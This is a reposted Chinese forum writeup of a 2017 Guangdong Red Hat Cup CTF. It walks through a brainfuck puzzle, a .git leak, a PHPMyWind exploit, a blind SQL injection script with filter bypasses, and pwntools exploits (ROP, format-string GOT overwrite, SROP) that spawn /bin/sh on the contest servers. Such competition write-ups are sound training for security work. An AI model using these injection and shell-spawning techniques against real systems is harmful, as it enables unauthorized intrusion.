[Writeup] 【CTF 攻略】2017 广东省红帽杯攻防大赛 Writeup

[复制链接]
查看11120 | 回复1 | 2017-5-8 19:51:42 | 显示全部楼层 |阅读模式

t019dd882004ad2224e.jpg

来源:安全客


赛事介绍


2017年第一届“广东省红帽杯网络安全攻防大赛”,由广东省公安厅网警总队指导、广东省计算机信息网络安全协会主办,华南理工大学承办,北京永信至诚科技股份有限公司协办。本次比赛的目的是加快高校网络安全学科专业建设,创新网络安全人才培养机制,提升全社会网络安全意识。

本次比赛要求参赛队员具备基本的计算机理论和实践基础。其中涉及到的考试范围包括:安全技能相关逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等。为了取得较好的成绩,系统学习网络攻防知识,所有参赛选手在赛前均可获得免费的比赛辅导课程,详情请参考参赛手册


签到


扫码按操作即得


brian(Y)


打开题目,发现是一段字符:

+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< ++++[ ->--- -<]>- ----- .<+++ +++[- >---- --<]>
----- ----- -.+.- ..--- ---.. <++++ +++[- >++++ +++<] >.<++ +++++ [->--
----- <]>-- -.+++ .++++ ++.<+ +++++ [->++ ++++< ]>+++ +++++ .<+++ +++[-
>---- --<]> ----- ----- .---- ---.+ +++++ +.<++ ++++[ ->+++ +++<] >++++
+++++ .<+++ +++[- >---- --<]> ----- ----- -.--. ---.< +++++ ++[-> +++++
++<]> ++++. <++++ +++[- >---- ---<] >.+++ +.+++ +.<++ +[->- --<]> ---.<
+++++ ++[-> +++++ ++<]> +++++ +.<++ ++++[ ->--- ---<] >---- ----- --.+.
-.-.. ---.+ +++.< +++++ +[->+ +++++ <]>++ +++++ ++++. <++++ +++[- >----
---<] >---. <++++ +++[- >++++ +++<] >++.< +++++ +[->- ----- <]>-- -----
----- .<+++ +++++ [->++ +++++ +<]>+ +++++ ++++. <

本站解密地址:http://tool.bugku.com/brainfuck/


奈何队友很坚定的学原理、编程序

将以上文本内容保存为brian(Y).bf

观察可以发现每五个字符为一组,尝试上网搜索几个不同的字符分组后,发现为brainfuck这种编程语言,利用C语言编写的brainfuck解释器,运行代码得到结果。

解释器代码如下:

[mw_shl_code=applescript,true]#define LEN 50000
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
    FILE *input = fopen(argv[1], "r");
    char source[LEN] = {0};
    char runtime[LEN] = {0};
    char *sptr, *wptr;
    int pos = 0;
    int wflag = 0;
    int line = 1, col = 0, wline, wcol;
    sptr = source;
    while (wflag || EOF!=fscanf(input, "%c", sptr))
    {
        if (!wflag)
            ++col;
        else
            ++wcol;
        switch (*sptr)
        {
            case '>' :
                ++pos;
                break;
            case '<' :
              if (--pos <0)
              {
              printf("%d : %d : ERROR: Illegal pointer value\n", line, col);
                    return 1;
                }
                break;
            case '+' :
                ++runtime[pos];
                if (runtime[pos] < 0 || runtime[pos] > 255)
                {
                if (!wflag)
                   printf("%d : %d : ERROR: Illegal value\n", line, col);
                else
                   printf("%d : %d : ERROR: Illegal value\n", wline, wcol);
                    return 1;
                }
                break;
            case '-' :
                --runtime[pos];
                if (runtime[pos] < 0 || runtime[pos] > 255)
                {
                    if (!wflag)
                        printf("%d : %d : ERROR: Illegal value\n", line, col);
                    else
                        printf("%d : %d : ERROR: Illegal value\n", wline, wcol);
                    return 0;
                }
                break;
            case '.' :
                putchar(runtime[pos]);
                break;
            case ',' :
                runtime[pos]=getchar();
                break;
            case '[' :
                if (runtime[pos])
                    wptr = sptr-1;
                else
                    wflag = 0;
                wline = line;
                wcol = col;
                break;
            case ']' :
                sptr = wptr;
                wflag = 1;
                line = wline;
                col = wcol;
                break;
            case '\n' :
                if (!wflag)
                {
                    ++line;
                    col = 0;
                }
                else
                {
                    ++wline;
                    wcol = 0;
                }
                break;
        }
        ++sptr;
    }
    fclose(input);
    return 0;
}[/mw_shl_code]

编译后得到exe程序,命令行指令:bf.exe brian(Y).bf

结果如下:

t016cbab1342284e1d6.jpg

flag{e676600a-06b4-4a20-b159-d5654415d0c3}



WEB


刮刮乐

打开

t018e9ade2d3275e06f.jpg

是.git泄露,直接使用lijiejie脚本

t018f9dd22395d994b5.jpg

flag{027ea8c2-7be2-4cec-aca3-b6ba400759e8}


PHPMyWIND

额,一开始做出来,密码是000000还两次md5加密。。。没啥用,后来写wp改密码啦。。。

t01a6d1699294bd053f.jpg

反正扫描没啥东西,找下它的漏洞,经过一番测试感觉order.php有问题

发现这个漏洞:http://0day5.com/archives/1442/

测试吧,加两个cookie先试试能找到点不能,发现订单

t01a4ef02eacea9d88e.jpg

t0155697eb86a94b324.jpg

可以,按照他的走就行

t01fd3c7d222e8ec470.jpg

找到密文解密即可

t01204e66660e021f09.jpg

访问

t018173e5cd6bb443a7.jpg

后台

打开后

t01c070c2ff1870c46f.jpg

用户名admin,密码不知道,但提示是2017和时间,那就是2017XXXX,用burpsuite爆破即可

t0190cbebadcf125a2e.jpg

thinkseeker

打开,index.php~找到重要代码


[mw_shl_code=applescript,true]<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";
foreach($_GET as $key=>$value){
    if (is_array($value)){
        die("Bad input!");
    }
    $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
    if(preg_match("/".$p."/is",$value)==1){
        die("inj code!");
    }
}
parse_str($_SERVER['QUERY_STRING']);
if($token==md5("admin")){
    $link=@mysql_connect("XXXX","XXXX","XXXX");
    mysql_select_db("XXXX",$link);
    $sql="select * from user where userid = ".$userid;
    $query = mysql_query($sql);
    if (mysql_num_rows($query) == 1) {
        $arr = mysql_fetch_array($query);
        if($arr['password'] == $password) {
            $sql="select * from info where infoid=".$infoid;
            $result=mysql_query($sql);
            $arr = mysql_fetch_array($result);
            if(empty($arr['content'])){
                echo "error sql!";
            }else{
                echo $arr['content'];
            }
        }else{
            echo "error password!";
        }
    }else{
        echo "error userid!";
    }
    mysql_close($link);
}else{
    echo "Bad token!";
}
?>
<html>
    <head>
        <title>web-test</title>
    </head>
    <body>
        <form action="" method="get">
            User ID:<input type="text" name="userid" length="50" /><br>
            Password:<input type="password" name="password" length="50" /><br>
            <input type="submit" value="submit"/>
        </form>
    </body>
</html>[/mw_shl_code]

过滤了非常多的东西,比如空格,,什么的,也不用管,只要select,from,ascii,substr有就可以尝试盲注,不过看代码还是先试一下传参

由于传入的参数没有用引号,所以不用管闭合问题,直接用%0a绕过

token可以直接用admin的md5变量覆盖,然后一开始infoid=1%0aor%0a1=1置真就行,然后由于userid只能有一个值,且由于password不知道原来的,没办法绕过,这样就想到了一个姿势

网址:(https://raz0r.name/other/phdays-2013-ctf-blade-writeup/

可以用with rollup,这个是统计组的信息,若没用任何统计函数(sum,avg...),多出的那一行的password列只能是NULL,所以之后password传参无就可以。

t01d5128964df2da935.jpg

得到了一句提示,猜测是列名表名,先测试一下构造语句

t014b55db6dd5593138.jpg

t018d68193f2ad9cae1.jpg

可以知道当后面语句为真的时候返回的是flag is in flag!

脚本

[mw_shl_code=applescript,true]import requests
dic='{}@#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM'
string = ''
for i in range(1,40):
    for j in dic:
        url = 'http://106.75.117.4:3083/?token=21232f297a57a5a743894a0e4a801fc3&userid=1%0a||%0a1%0agroup%0aby%0apassword%0awith%0arollup%0alimit%0a1%0aoffset%0a1&password=&infoid=1%0a%26%26%0aascii(substr((select%0aflag%0afrom%0aflag)from({0})))={1}'.format(i,ord(j))
        #print url
        s=requests.get(url=url)
        text = s.content
        #print text
        if "flag" in text:
            string += j
            print string
            break
print string[/mw_shl_code]


t01917470fef7dc8122.jpg


PWN


pwn1

一个简单的栈溢出,开了nx防护,要用rop,因为32位系统加上pwntools的使用,利用组件rop即可。

[mw_shl_code=applescript,true]from pwn import *
#context.log_level = 'debug'
binary = ELF('./pwn1')
p = remote('106.75.93.221',  10000)
p.recvline()
rop = ROP(binary)
rop.call(0x08048410,(0x08048629, 0x0804A040))
rop.system(0x0804A040)
payload = str(rop)
p.sendline('a'*52 + payload )
p.sendline('/bin/sh')
p.interactive()[/mw_shl_code]

pwn2

下载文件后,IDA分析

t0133a732f9b37e5393.jpg

明显的格式化字符串漏洞。

利用思路:(re2libc)

1.首先,泄漏system的地址,这里我使用pwntools 的 DnyELF

2.然后,将printf函数的GOT表项,覆写为system 的地址,这样再次调用printf时,实际会调用system

3.最后,再次循环执行的时候,利用read 读入,/bin/sh字符串,这样printf('/bin/sh') , 会变成 system('/bin/sh')

EXP:

[mw_shl_code=applescript,true]from pwn import *
#io = process('./pwn2_')
io =remote('106.75.93.221', 20003)
elf = ELF('./pwn2_')
#context.log_level = 'debug'
def leak(addr):
payload = 'BB%9$s'
payload += 'AA'
payload += p32(addr)
io.sendline(payload)
io.recvuntil('BB')
content = io.recvuntil('AA')
if(len(content) == 2):
print '

NULL'
return '\x00'
else:
print '
%#x ---> %s' % (addr, (content[0:-2] or '').encode('hex'))
return content[0:-2]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2_'))
libc_addr = d.lookup(None, 'libc')
log.info('libc_addr:' + hex(libc_addr))
d = DynELF(leak, libc_addr)
system_addr = d.lookup('system')
log.info('system_addr:' + hex(system_addr))
#-------- change GOT
printf_got = elf.got['printf']
log.info(hex(printf_got))
payload = fmtstr_payload(7, {printf_got: system_addr})
io.sendline(payload)
payload = '/bin/sh\x00'
io.sendline(payload)
io.interactive()[/mw_shl_code]

t018ba839f7a101dec5.jpg

pwn4

必须使用SROP,关于SROP请自行google

思路如下:

需要利用read的返回值条用其他的syscall

需要利用write泄露栈地址

需要利用read将/bin/sh写入到stack一个我们已知的地址中

需要stack pivot到一个我们已知的地址

最后调用execve("/bin/sh")

理清楚劫持程序流后的流程就可以,exp如下:

[mw_shl_code=applescript,true]#! python
from pwn import *
context.binary = './pwn4'
io = process('./pwn4')
io = remote('106.75.66.195', 11006)
#leak stack addr
payload = p64(0x4000b0)
payload += p64(0x4000b3)
payload += p64(0x4000b0)
io.sendline(payload)
io.send('\xb3')
sleep(2)
LeakMsg = io.recvn(0x400)
leak_addr = u64(LeakMsg[0x8:0x8+8])
log.info("leak_addr:"+hex(leak_addr))
stack_addr = leak_addr-0x500
log.info("stack_addr:"+hex(stack_addr))
binsh_addr = stack_addr+0x300
log.info("binsh_addr:"+hex(binsh_addr))
#write /bin/sh to stack
syscall_addr = 0x4000be
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
payload1 = p64(0x4000b0)+p64(syscall_addr) #signturn
payload1 += str(frame)
io.sendline(payload1)
sleep(2)
io.send(payload1[0x8:0x8+15])
sleep(2)
#execve("/bin/sh")
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rip = syscall_addr
payload2 = p64(0x4000b0)+p64(syscall_addr)
payload2 += str(frame)
payload2 += 'a' * (0x300-len(payload2)) + '/bin/sh\x00'
io.sendline(payload2)
sleep(2)
io.send(payload2[0x8:0x8+15])
sleep(2)
io.interactive()[/mw_shl_code]

t010ecb30a352e1097d.jpg

pwn5

这题使用了canary防护,但是是送分题,利用报错输出就可以,爆破因为之前已经将flag地址读到程序中还是bss段,直接栈上喷上flag的地址就可以拿到flag。

[mw_shl_code=applescript,true]from pwn import *
context.log_level = 'debug'
#p = process('./pwns')
p = remote('106.75.93.221',10003)
p.recv()
payload = p32(0x0804A080)*100
p.sendline(payload)
p.recv()
p.recv()[/mw_shl_code]








有人的地方就有江湖。
回复

使用道具 举报

匿名 tmdsb123 | 2017-5-10 03:17:20 | 显示全部楼层
这个我们公司也参加了,一道pwn题都没做出来
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

匿名

93

主题

224

帖子

3164

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
3164